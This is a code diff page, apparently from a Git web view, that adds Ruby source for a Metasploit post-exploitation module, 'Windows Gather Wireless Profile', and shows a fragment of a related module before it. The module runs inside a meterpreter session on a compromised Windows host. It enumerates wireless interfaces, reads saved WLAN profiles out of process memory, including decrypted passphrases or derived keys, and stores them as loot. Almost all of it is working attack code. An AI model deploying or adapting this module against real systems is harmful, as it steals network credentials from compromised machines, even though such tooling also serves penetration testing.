onex = @host_process.memory.read(pointer,4)
|
||||
if onex.unpack("V")[0] == 1
|
||||
connection['oneX'] = "Yes"
|
||||
else
|
||||
connection['oneX'] = "No"
|
||||
end
|
||||
|
||||
#Determines wat Authentication Algorithm is being used
|
||||
pointer = (pointer + 4)
|
||||
algo = @host_process.memory.read(pointer,4)
|
||||
algo = algo.unpack("V")[0]
|
||||
case algo
|
||||
when 1
|
||||
connection['auth'] = "802.11 Open"
|
||||
when 2
|
||||
connection['auth'] = "802.11 Shared"
|
||||
when 3
|
||||
connection['auth'] = "WPA"
|
||||
when 4
|
||||
connection['auth'] = "WPA-PSK"
|
||||
when 5
|
||||
connection['auth'] = "WPA-None"
|
||||
when 6
|
||||
connection['auth'] = "RSNA"
|
||||
when 7
|
||||
connection['auth'] = "RSNA with PSK"
|
||||
else
|
||||
connection['auth'] = "Unknown Algorithm"
|
||||
end
|
||||
|
||||
#Determines what Cipher is being used
|
||||
pointer = (pointer + 4)
|
||||
cipher = @host_process.memory.read(pointer,4)
|
||||
cipher = cipher.unpack("V")[0]
|
||||
case cipher
|
||||
when 0
|
||||
connection['cipher'] = "None"
|
||||
when 1
|
||||
connection['cipher'] = "WEP-40"
|
||||
when 2
|
||||
connection['cipher'] = "TKIP"
|
||||
when 4
|
||||
connection['cipher'] = "CCMP"
|
||||
when 5
|
||||
connection['cipher'] = "WEP-104"
|
||||
when 256
|
||||
connection['cipher'] = "Use Group Key"
|
||||
when 257
|
||||
connection['cipher'] = "WEP"
|
||||
else
|
||||
connection['cipher'] = "Unknown Cipher"
|
||||
end
|
||||
return connection
|
||||
end
|
||||
|
||||
|
||||
def enum_interfaces(wlan_handle)
|
||||
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
|
||||
pointer= iflist['ppInterfaceList']
|
||||
|
||||
numifs = @host_process.memory.read(pointer,4)
|
||||
numifs = numifs.unpack("V")[0]
|
||||
interfaces = []
|
||||
|
||||
#Set the pointer ahead to the first element in the array
|
||||
pointer = (pointer + 8)
|
||||
(1..numifs).each do |i|
|
||||
interface = {}
|
||||
#Read the GUID (16 bytes)
|
||||
interface['guid'] = @host_process.memory.read(pointer,16)
|
||||
pointer = (pointer + 16)
|
||||
#Read the description(up to 512 bytes)
|
||||
interface['description'] = @host_process.memory.read(pointer,512)
|
||||
pointer = (pointer + 512)
|
||||
#Read the state of the interface (4 bytes)
|
||||
state = @host_process.memory.read(pointer,4)
|
||||
pointer = (pointer + 4)
|
||||
|
||||
#Turn the state into human readable form
|
||||
state = state.unpack("V")[0]
|
||||
case state
|
||||
when 0
|
||||
interface['state'] = "The interface is not ready to operate."
|
||||
when 1
|
||||
interface['state'] = "The interface is connected to a network."
|
||||
when 2
|
||||
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
|
||||
when 3
|
||||
interface['state'] = "The interface is disconnecting from the current network."
|
||||
when 4
|
||||
interface['state'] = "The interface is not connected to any network."
|
||||
when 5
|
||||
interface['state'] = "The interface is attempting to associate with a network."
|
||||
when 6
|
||||
interface['state'] = "Auto configuration is discovering the settings for the network."
|
||||
when 7
|
||||
interface['state'] = "The interface is in the process of authenticating."
|
||||
else
|
||||
interface['state'] = "Unknown State"
|
||||
end
|
||||
interfaces << interface
|
||||
end
|
||||
return interfaces
|
||||
end
|
||||
|
||||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,173 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Wireless Profile',
|
||||
'Description' => %q{
|
||||
This module extracts saved Wireless LAN profiles. It will also try to decrypt
|
||||
the network key material. Behaviour is slightly different bewteen OS versions
|
||||
when it comes to WPA. In Windows Vista/7 we will get the passphrase. In
|
||||
Windows XP we will get the PBKDF2 derived key.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
#Opens memory access into the host process
|
||||
mypid = client.sys.process.getpid
|
||||
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
|
||||
@wlanapi = client.railgun.wlanapi
|
||||
wlan_info = "Wireless LAN Profile Information \n"
|
||||
wlan_handle = open_handle()
|
||||
wlan_iflist = enum_interfaces(wlan_handle)
|
||||
|
||||
#Take each enumerated interface and gets the profile information available on each one
|
||||
wlan_iflist.each do |interface|
|
||||
wlan_profiles = enum_profiles(wlan_handle, interface['guid'])
|
||||
guid = guid_to_string(interface['guid'])
|
||||
|
||||
#Store all the information to be saved as loot
|
||||
wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n"
|
||||
wlan_profiles.each do |profile|
|
||||
wlan_info << " Profile Name: #{profile['name']}\n"
|
||||
wlan_info << profile['xml']
|
||||
end
|
||||
end
|
||||
#strip the nullbytes out of the text for safe outputting to loot
|
||||
wlan_info.gsub!(/\x00/,"")
|
||||
print_good(wlan_info)
|
||||
store_loot("host.windows.wlan.profiles", "text/plain", session, wlan_info, "wlan_profiles.txt", "Wireless LAN Profiles")
|
||||
|
||||
#close the Wlan API Handle
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle Closed Successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def open_handle
|
||||
begin
|
||||
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
|
||||
rescue
|
||||
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
|
||||
return nil
|
||||
end
|
||||
return wlhandle['phClientHandle']
|
||||
end
|
||||
|
||||
|
||||
def enum_interfaces(wlan_handle)
|
||||
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
|
||||
pointer= iflist['ppInterfaceList']
|
||||
numifs = @host_process.memory.read(pointer,4)
|
||||
numifs = numifs.unpack("V")[0]
|
||||
interfaces = []
|
||||
|
||||
#Set the pointer ahead to the first element in the array
|
||||
pointer = (pointer + 8)
|
||||
(1..numifs).each do |i|
|
||||
interface = {}
|
||||
#Read the GUID (16 bytes)
|
||||
interface['guid'] = @host_process.memory.read(pointer,16)
|
||||
pointer = (pointer + 16)
|
||||
#Read the description(up to 512 bytes)
|
||||
interface['description'] = @host_process.memory.read(pointer,512)
|
||||
pointer = (pointer + 512)
|
||||
#Read the state of the interface (4 bytes)
|
||||
state = @host_process.memory.read(pointer,4)
|
||||
pointer = (pointer + 4)
|
||||
|
||||
#Turn the state into human readable form
|
||||
state = state.unpack("V")[0]
|
||||
case state
|
||||
when 0
|
||||
interface['state'] = "The interface is not ready to operate."
|
||||
when 1
|
||||
interface['state'] = "The interface is connected to a network."
|
||||
when 2
|
||||
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
|
||||
when 3
|
||||
interface['state'] = "The interface is disconnecting from the current network."
|
||||
when 4
|
||||
interface['state'] = "The interface is not connected to any network."
|
||||
when 5
|
||||
interface['state'] = "The interface is attempting to associate with a network."
|
||||
when 6
|
||||
interface['state'] = "Auto configuration is discovering the settings for the network."
|
||||
when 7
|
||||
interface['state'] = "The interface is in the process of authenticating."
|
||||
else
|
||||
interface['state'] = "Unknown State"
|
||||
end
|
||||
interfaces << interface
|
||||
end
|
||||
return interfaces
|
||||
end
|
||||
|
||||
|
||||
def enum_profiles(wlan_handle,guid)
|
||||
profiles=[]
|
||||
proflist = @wlanapi.WlanGetProfileList(wlan_handle,guid,nil,4)
|
||||
ppointer = proflist['ppProfileList']
|
||||
numprofs = @host_process.memory.read(ppointer,4)
|
||||
numprofs = numprofs.unpack("V")[0]
|
||||
ppointer = (ppointer + 8)
|
||||
(1..numprofs).each do |j|
|
||||
profile={}
|
||||
#Read the profile name (up to 512 bytes)
|
||||
profile['name'] = @host_process.memory.read(ppointer,512)
|
||||
ppointer = (ppointer + 516)
|
||||
|
||||
rprofile = @wlanapi.WlanGetProfile(wlan_handle,guid,profile['name'],nil,4,4,4)
|
||||
xpointer= rprofile['pstrProfileXML']
|
||||
|
||||
#The size of the XML string is unknown. If we read too far ahead we will cause it to break
|
||||
#So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes
|
||||
readsz = 1000
|
||||
profmem = @host_process.memory.read(xpointer,readsz)
|
||||
until profmem[/(\x00){2}/]
|
||||
readsz = (readsz + 100)
|
||||
profmem = @host_process.memory.read(xpointer,readsz)
|
||||
end
|
||||
|
||||
#Slice off any bytes we picked up after the string terminates
|
||||
profmem.slice!(profmem.index(/(\x00){2}/), (profmem.length - profmem.index(/(\x00){2}/)))
|
||||
profile['xml'] = profmem
|
||||
profiles << profile
|
||||
end
|
||||
return profiles
|
||||
end
|
||||
|
||||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue